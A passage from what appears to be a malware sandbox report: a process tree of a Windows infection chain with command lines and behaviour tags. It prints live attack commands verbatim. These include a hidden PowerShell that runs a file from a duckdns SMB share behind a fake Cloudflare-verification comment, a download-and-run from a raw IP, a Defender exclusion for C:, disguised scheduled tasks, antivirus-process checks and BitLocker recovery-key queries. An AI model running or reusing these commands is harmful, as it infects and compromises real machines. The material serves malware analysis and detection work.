        powershell -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5604
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3584
        
        C:\Windows\SysWOW64\net.exe
        
        net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:1920
        
        \??\UNC\aaso12.duckdns.org\shear\s.exe
        
        \\aaso12.duckdns.org\shear\s -fullinstall
        9⤵
        Sets service image path in registry
        Drops file in Program Files directory
        
        PID:5348
      - C:\Users\Admin\AppData\Local\Temp\10453750101\amnew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453750101\amnew.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2776
        
        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        7⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:2996
        
        C:\Users\Admin\AppData\Local\Temp\10051520101\17d588e282.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051520101\17d588e282.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4740
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051520101\17d588e282.exe"
        9⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2708
        
        C:\Users\Admin\AppData\Local\Temp\10051530101\bc46a07c67.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051530101\bc46a07c67.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:1876
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10051530101\bc46a07c67.exe"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:8520
      - C:\Users\Admin\AppData\Local\Temp\10453760101\e6fe4983da.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453760101\e6fe4983da.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3840
      - C:\Users\Admin\AppData\Local\Temp\10453770101\UZPt0hR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453770101\UZPt0hR.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        
        PID:5480
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
        7⤵
        
        PID:2680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1620
        
        C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        7⤵
        Downloads MZ/PE file
        Adds Run key to start application
        
        PID:4828
        
        C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
        
        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
        8⤵
        Sets service image path in registry
        Executes dropped EXE
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:5328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Remove-MpPreference -ExclusionPath C:\
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:8404
        
        C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
        8⤵
        Deletes itself
        Executes dropped EXE
        
        PID:1772
        
        C:\Users\Admin\AppData\Local\Temp\{61a7531a-d766-4b7d-8c51-b436cb566c33}\4d2a7265.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{61a7531a-d766-4b7d-8c51-b436cb566c33}\4d2a7265.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
        9⤵
        Executes dropped EXE
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        
        PID:4244
        
        C:\Users\Admin\AppData\Local\Temp\{891b8827-6d83-4d59-911e-cc0528069a49}\204da276.exe
        
        C:/Users/Admin/AppData/Local/Temp/{891b8827-6d83-4d59-911e-cc0528069a49}/\204da276.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
        10⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Adds Run key to start application
        Enumerates connected drives
        Writes to the Master Boot Record (MBR)
        Checks for VirtualBox DLLs, possible anti-VM trick
        System Location Discovery: System Language Discovery
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:13056
      - C:\Users\Admin\AppData\Local\Temp\10453780101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453780101\TbV75ZR.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5220
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:5372
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:4268
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1316
      - C:\Users\Admin\AppData\Local\Temp\10453790101\9sWdA2p.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453790101\9sWdA2p.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:7156
      - C:\Users\Admin\AppData\Local\Temp\10453800101\qhjMWht.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453800101\qhjMWht.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:11408
      - C:\Users\Admin\AppData\Local\Temp\10453810101\a5ae66c8d4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453810101\a5ae66c8d4.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2192
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2320
      - C:\Users\Admin\AppData\Local\Temp\10453820101\Rm3cVPI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453820101\Rm3cVPI.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6996
      - C:\Users\Admin\AppData\Local\Temp\10453830101\larBxd7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453830101\larBxd7.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:11196
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:11740
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:8996
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        
        PID:8500
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:11192
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        
        PID:11208
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 689912
        8⤵
        
        PID:2620
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Exclusion.psd
        8⤵
        
        PID:2880
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "users" Findarticles
        8⤵
        
        PID:9768
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
        8⤵
        
        PID:11596
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
        8⤵
        
        PID:9476
        
        C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
        
        Jordan.com b
        8⤵
        
        PID:11552
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        
        PID:12480
      - C:\Users\Admin\AppData\Local\Temp\10453840101\but2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453840101\but2.exe"
        6⤵
        
        PID:7628
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "PCI Bus Driver" /tr C:\Drivers\pcidrv.exe /sc minute /mo 1 /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1636
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "PCI Bus Driver Startup" /tr C:\Drivers\pcidrv.exe /sc onstart /ru SYSTEM /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12948
        
        C:\Drivers\pcidrv.exe
        
        C:\Drivers\pcidrv.exe
        7⤵
        
        PID:3444
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /C timeout /t 2 && del C:\Users\Admin\AppData\Local\Temp\10453840101\but2.exe
        7⤵
        
        PID:6696
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        8⤵
        Delays execution with timeout.exe
        
        PID:8944
      - C:\Users\Admin\AppData\Local\Temp\10453850101\Mbxp0H9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453850101\Mbxp0H9.exe"
        6⤵
        
        PID:11572
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:11696
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:11732
        
        C:\Users\Admin\AppData\Roaming\ny2uwkBD7O.exe
        
        "C:\Users\Admin\AppData\Roaming\ny2uwkBD7O.exe"
        8⤵
        
        PID:12124
        
        C:\Users\Admin\AppData\Roaming\ny2uwkBD7O.exe
        
        "C:\Users\Admin\AppData\Roaming\ny2uwkBD7O.exe" h
        9⤵
        
        PID:13248
        
        C:\Users\Admin\AppData\Roaming\pHNGMViDUP.exe
        
        "C:\Users\Admin\AppData\Roaming\pHNGMViDUP.exe"
        8⤵
        
        PID:6088
      - C:\Users\Admin\AppData\Local\Temp\10453860101\dffed51adf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453860101\dffed51adf.exe"
        6⤵
        
        PID:10676
      - C:\Users\Admin\AppData\Local\Temp\10453870101\dd87ce957f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453870101\dd87ce957f.exe"
        6⤵
        
        PID:8100
      - C:\Users\Admin\AppData\Local\Temp\10453880101\01931996c7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453880101\01931996c7.exe"
        6⤵
        
        PID:10512
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn axAK4ma01lt /tr "mshta C:\Users\Admin\AppData\Local\Temp\kpwugtWqy.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        
        PID:10948
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn axAK4ma01lt /tr "mshta C:\Users\Admin\AppData\Local\Temp\kpwugtWqy.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10880
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\kpwugtWqy.hta
        7⤵
        
        PID:10956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'EUR2ZN5HA957VLHOJSIBTT3Z2E2US1CO.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11220
        
        C:\Users\Admin\AppData\Local\TempEUR2ZN5HA957VLHOJSIBTT3Z2E2US1CO.EXE
        
        "C:\Users\Admin\AppData\Local\TempEUR2ZN5HA957VLHOJSIBTT3Z2E2US1CO.EXE"
        9⤵
        
        PID:5292
      - C:\Users\Admin\AppData\Local\Temp\10453890101\c8df2bc820.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10453890101\c8df2bc820.exe"
        6⤵
        
        PID:12732

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5512

C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5012
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
  2⤵
  PID:6016

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:3212

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
1⤵
PID:3712

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:7776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:7280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:9196
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get C: -Type recoverypassword
  2⤵
  PID:11292
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get C: -Type recoverypassword
    3⤵
    PID:11604
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get F: -Type recoverypassword
  2⤵
  PID:11912
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get F: -Type recoverypassword
    3⤵
    PID:12112

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1092

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
- Executes dropped EXE
PID:7824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{ee7ea89e-12c9-4bd0-9bd8-d49a3c574d26}\594fc30d-d56a-40b5-9a83-0f1757c35913.cmd"
1⤵
PID:13140
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6424
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:7716
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:1636
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12924
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:8680
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3400
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8136
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:10008
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:10912
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:11872
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:7528
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8732
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3492
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12896
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12636
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:12536
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:12308
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6160
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6292
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:6420
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6532
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6648
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6812
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6960
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:13228
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:5512
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:7140
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3420
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:7612
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:7588
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5840
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8208
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8008
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8700
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:8968
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9520
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3368
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:10504
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:10740
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:11372
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:11756
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12244
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5320
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12464
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:12952
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:8
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3196
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3960
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9112
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:10052
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:10660
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:11964
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:13076
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6168
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:8220
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:1640
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:9868
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:11528
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:4496
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:12392
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:6444
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:6504
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  PID:6612
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:10364
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:1944
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:2992
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:7172
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - Runs ping.exe
  PID:4912
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:8380
- C:\Windows\system32\PING.EXE
  ping 127.0.0.1 -n 1
  2⤵
